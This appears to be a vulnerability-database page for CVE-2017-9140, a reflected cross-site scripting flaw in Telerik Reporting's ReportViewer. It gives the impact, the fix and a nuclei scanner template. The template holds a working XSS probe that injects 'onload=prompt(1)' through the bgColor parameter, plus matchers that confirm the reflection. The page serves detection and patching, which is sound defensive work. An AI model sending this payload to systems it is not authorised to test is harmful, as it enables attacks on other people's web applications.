HexBrain

Browse / CVEs / CVE-2017-9140

CVE-2017-9140· progress / telerik reporting· CWE-79

Reflected XSS - Telerik Reporting Module

mediumseverity
6.1CVSS score
9.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information.

Fix

Upgrade to application version 11.0.17.406 (2017 SP2) or later.

How to confirm it

Send: GET {{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)
Positive when: contains "#000000\"onload=\"prompt(1)" and "Telerik.ReportViewer.axd?name=Resources" AND status 200

Run it with nuclei: nuclei -id CVE-2017-9140 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-9140

info:
  name: Reflected XSS - Telerik Reporting Module
  author: dhiyaneshDk
  severity: medium
  description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later.
  reference:
    - https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9140
    - https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)
    - https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9140
    cwe-id: CWE-79
    epss-score: 0.09724
    epss-percentile: 0.95556
    cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: progress
    product: telerik_reporting
  tags: cve2017,cve,xss,telerik,progress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '#000000"onload="prompt(1)'
          - 'Telerik.ReportViewer.axd?name=Resources'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from